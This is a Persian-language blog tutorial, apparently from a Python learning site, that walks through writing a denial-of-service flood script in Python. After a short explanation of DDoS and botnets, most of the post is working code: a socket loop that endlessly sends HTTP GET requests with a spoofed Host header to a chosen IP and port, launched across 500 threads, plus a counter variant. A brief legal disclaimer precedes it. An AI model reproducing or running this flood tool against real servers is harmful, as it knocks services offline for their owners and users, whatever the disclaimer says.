نوشتن اسکریپت حمله DDoS با پایتون

تو این آموزش قصد داریم اسکریپت DDoS رو با پایتون بنویسیم. این برنامه به ما این امکان رو می ده تا به سرور تعداد زیادی درخواست بفرستیم، که بعد از مدتی دیگه نمی تونه به درخواست ها جواب بده و خراب میشه.

هشدار! انجام حمله DDoS روی هر سروری که مال شما نیست یا مجوز حمله ندارید، غیرقانونیه. حمله به سایر سرورها به غیر از سرور خودتون رو توصیه نمی کنیم و هیچ مسئولیتی در قبال کاری که قراره با این اسکریپت انجام بدید نداریم. این پست کاملاً آموزشیه و قراره به شما تو درک شبکه و برنامه نویسی با پایتون کمک کنه.

تعریف حمله DDoS

کلمه DDoS مخفف Distributed Denial of Service هستش و به حمله ای گفته میشه که منابع سرور رو با پر کردن درخواست ها مسدود می کنیم. معمولاً این نوع حمله به تنهایی انجام نمیشه بلکه با کمک به اصطلاح بات نت ها انجام میشه.

هکر کامپیوترها و سرورهای افراد عادی رو آلوده میکنه و ازشون به عنوان زامبی و برای حمله جمعی به سرور استفاده میکنه. در واقع به جای یک اسکریپت DDoS، می تونه هزاران اسکریپت رو اجرا کنه. دیر یا زود سرور از حجم درخواست ها غرق میشه به طوری که حتی نمی تونه به یک کاربر معمولی جواب بده. برای سرورهای کوچکتر و ضعیفتر، معمولا یک مهاجم هم برای پائین آوردنش کافیه.

معمولاً با مسدود کردن آدرس های IP مهاجمان میشه با چنین حملاتی مقابله کرد.


اسکریپتی که قراره بنویسیم رو میتونین از مخزن اصلی گیت هاب ایرانی پای بردارید.


پیاده سازی اسکریپت

پیاده سازی اسکریپت DDoS با پایتون ساده ست. فقط باید چندین بار درخواست ها رو به پورت خاصی از میزبان بفرستیم. این کار رو میشه با سوکت انجام داد. برای سرعت دادن به روند کار هم، از چند رشته (thread) استفاده می کنیم.

کتابخانه های زیر رو ایمپورت میکنیم:

import socket 
import threading

اولین چیزی که لازم داریم آدرس IP هدفه، پورتی که می خوایم بهش حمله کنیم و آدرس IP جعلی ما که می خوایم ازش استفاده کنیم. توجه کنید که این نوع آدرس IP جعلی واقعاً شما رو ناشناس نمیکنه.

target_ip = '10.0.0.138' 
fake_ip = '182.21.20.32' 
port = 80

همونطور که بالاتر اشاره شد، DDoS غیرقانونیه. بنابراین مراقب هدفی که اینجا انتخاب می کنید باشید. تو مثال بالا، آدرس IP روتر خودمون رو انتخاب کردیم. همچنین می تونین چاپگر یا حتی وب سایت خودتون رو انتخاب کنید.

به عنوان یک آدرس IP جعلی، تو کد بالا، آدرس تصادفی اما معتبر رو انتخاب کردیم.

نکته آخر اینکه تصمیم گرفتیم به پورت 80 که HTTP هستش حمله کنیم. اگر می خواید سرویس خاصی رو تعطیل کنید، باید بدونید که با کدوم پورت کار میکنه.

def attack(): 
    while True: 
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        s.connect((target_ip, port)) 
        s.sendto((&quotGET /&quot + target_ip + &quot HTTP/1.1\r\n&quot).encode('ascii'), (target_ip, port)) 
        s.sendto((&quotHost: &quot + fake_ip + &quot\r\n\r\n&quot).encode('ascii'), (target_ip, port)) 
        s.close()

تابع attack، تابعیه که قراره تو رشته های جداگانه اجرا بشه. یک حلقه بی پایان (infinite loop) شروع میکنه، داخلش سوکت می سازه، به هدف متصل میشه و چندین بار درخواست HTTP ارسال میکنه. البته اگر به پورت دیگه ای حمله می کنید، باید نوع درخواست ارسال شده رو هم تغییر بدید.

آدرس IP جعلی خودمون رو به درخواست تزریق کردیم. خود درخواست باید به صورت بایت کدگذاری بشه تا بتونیم به سرور بفرستیمش. با آخرین خط هم، سوکت رو می بندیم.

حالا کاری که باید انجام بدیم اجرای این تابع روی چندتا رشته به صورت همزمانه. اگه ما فقط تابع رو اجرا کنیم، درخواست های زیادی چندین بار ارسال میشه اما هر درخواست بعد از بسته شدن درخواست قبلی فرستاده میشه. با استفاده از چندتا رشته، می تونیم درخواست های زیادی را به طور همزمان ارسال کنیم.

for _ in range(500): 
    thread = threading.Thread(target=attack) 
    thread.start()

تو مثال بالا، ما 500 رشته رو start میکنیم تا تابع attack رو اجرا کنن.

وقتی اسکریپت رو اجرا می کنیم، درست کار میکنه اما چیزی نمی بینیم. اگه می خواید اطلاعاتی رو ببینید، می تونید مقادیر درخواست های ارسال شده رو چاپ کنید. توجه کنید که ممکنه این کار باعث کند شدن حمله بشه.

attack_num = 0 

def attack(): 
    while True: 
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        s.connect((target_ip, port)) 
        s.sendto((&quotGET /&quot + target_ip + &quot HTTP/1.1\r\n&quot).encode('ascii'), (target_ip, port)) 
        s.sendto((&quotHost: &quot + fake_ip + &quot\r\n\r\n&quot).encode('ascii'), (target_ip, port)) 

        global attack_num 
        attack_num += 1 
        print(attack_num) 

        s.close()

متغیر attack_num رو اضافه کردیم تا تعداد حمله های انجام شده رو برامون نگه داره. با هر تکرار، مقدارش رو افزایش می دیم و چاپ می کنیم.


تو این پست با DDoS آشنا شدیم و دیدیم که چجوری با استفاده از زبان پایتون، اسکریپت DDoS رو میتونیم پیاده کنیم.

امیدواریم از این پست استفاده کافی رو برده باشید. اگه شما هم مثل ما از خوندن مطالب پایتونی لذت میبرید، خوشحال میشیم ما رو تو شبکه های اجتماعی دنبال و در صورت داشتن انتقاد و پیشنهاد ما رو ازش مطلع کنید. لایک هم یادتون نره :)


حمایت از ما

با دنبال کردن ما در

یا کمک مالی به مبلغ دلخواه از طریق درگاه آیدی پی میتونید از ما حمایت کنید.

وب سایت (به زودی): iranipy.ir